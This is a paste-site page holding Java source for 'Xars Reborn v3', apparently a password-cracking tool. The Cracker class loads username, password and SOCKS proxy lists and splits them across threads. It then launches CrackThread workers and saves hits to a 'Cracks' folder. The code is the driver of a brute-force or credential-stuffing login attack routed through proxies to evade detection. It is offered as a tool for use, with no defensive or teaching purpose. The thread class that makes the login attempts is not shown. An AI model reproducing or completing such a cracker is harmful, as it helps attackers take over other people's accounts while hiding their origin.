Untitled

From Old Xars Cracker v2, 5 Months ago, written in Plain Text, viewed 71 times.
URL https://paste.bugabuse.net/view/00333919 Embed
Download Paste or View Raw
  1. /*
  2.  * To change this template, choose Tools | Templates
  3.  * and open the template in the editor.
  4.  */
  5.  
  6. package xarrebornv3;
  7.  
  8. /**
  9.  *
  10.  * @author cohen
  11.  */
  12. import java.io.BufferedReader;
  13. import java.io.File;
  14. import java.io.FileReader;
  15. import java.io.IOException;
  16. import java.util.ArrayList;
  17. import java.util.Scanner;
  18.  
  19. public class Cracker {
  20.  
  21.     private final int threads;
  22.     private final ArrayList<String> usernames;
  23.     private final ArrayList<String> passwords;
  24.     private final ArrayList<String> proxies;
  25.  
  26.     public Cracker()
  27.     {
  28.         File f = new File("Cracks");
  29.         try
  30.         {
  31.             if (!f.exists())
  32.             {
  33.                 if (f.mkdir())
  34.                 {
  35.                 }
  36.                 else
  37.                 {
  38.                     System.out.println("Cannot create directory Cracks");
  39.                     System.exit(1);
  40.                 }
  41.             }
  42.         }
  43.         catch (Exception e)
  44.         {
  45.             e.printStackTrace();
  46.             System.exit(1);
  47.         }
  48.  
  49.         System.out.println("Xars Reborn v3 (Socks Proxies)");
  50.         System.out.println("========G4HQ SOFTWARE========");
  51.         System.out.println("Enter number of threads to use");
  52.         final Scanner scan = new Scanner(System.in);
  53.         threads = scan.nextInt();
  54.         System.out.println("Cracker started using: " + threads + " Threads");
  55.         usernames = readFile("usernames.txt");
  56.         passwords = readFile("passwords.txt");
  57.         proxies = readFile("proxies.txt");
  58.         if (proxies == null || passwords == null || usernames == null)
  59.         {
  60.             System.out.println("Error With reading files");
  61.             System.exit(1);
  62.         }
  63.         calcThreads();
  64.     }
  65.  
  66.     private void calcThreads()
  67.     {
  68.         ArrayList<String>[] tUser = new ArrayList[threads];
  69.         ArrayList<String>[] tProxy = new ArrayList[threads];
  70.         for (int i = 0; i < tUser.length; i++)
  71.         {
  72.             tUser[i] = new ArrayList<String>();
  73.             tProxy[i] = new ArrayList<String>();
  74.         }
  75.         int nThreadUser = usernames.size() / threads;
  76.         int nThreadProxy = proxies.size() / threads;
  77.         for (int i = 0, k = 0, p = 0; i < threads; i++)
  78.         {
  79.             for (int l = 0; l < nThreadUser; l++)
  80.             {
  81.                 if (i != threads - 1)
  82.                 {
  83.                     tUser[i].add(usernames.get(k));
  84.                     k++;
  85.                 }
  86.                 else
  87.                 {
  88.                     while (k <= usernames.size() - 1)
  89.                     {
  90.                         tUser[i].add(usernames.get(k));
  91.                         k++;
  92.                     }
  93.                 }
  94.             }
  95.             for (int l = 0; l < nThreadProxy; l++)
  96.             {
  97.                 if (i != threads - 1)
  98.                 {
  99.                     tProxy[i].add(proxies.get(p));
  100.                     p++;
  101.                 }
  102.                 else
  103.                 {
  104.                     while (p <= proxies.size() - 1)
  105.                     {
  106.                         tProxy[i].add(proxies.get(p));
  107.                         p++;
  108.                     }
  109.                 }
  110.             }
  111.             new CrackThread(tUser[i], tProxy[i], passwords, i + 1);
  112.         }
  113.     }
  114.  
  115.     private ArrayList<String> readFile(String fileName)
  116.     {
  117.         if (fileName == null || fileName.equals(""))
  118.         {
  119.             throw new IllegalArgumentException();
  120.         }
  121.         String line;
  122.         ArrayList<String> file = new ArrayList<String>();
  123.         try
  124.         {
  125.             BufferedReader in = new BufferedReader(new FileReader(fileName));
  126.             if (!in.ready())
  127.             {
  128.                 throw new IOException();
  129.             }
  130.             while ((line = in.readLine()) != null)
  131.             {
  132.                 file.add(line);
  133.             }
  134.             in.close();
  135.         }
  136.         catch (IOException e)
  137.         {
  138.             e.printStackTrace();
  139.             return null;
  140.         }
  141.         return file;
  142.     }
  143.  
  144.     public static void main(String args[])
  145.     {
  146.         new Cracker();
  147.     }
  148. }

Reply to "Untitled"

Here you can reply to the paste above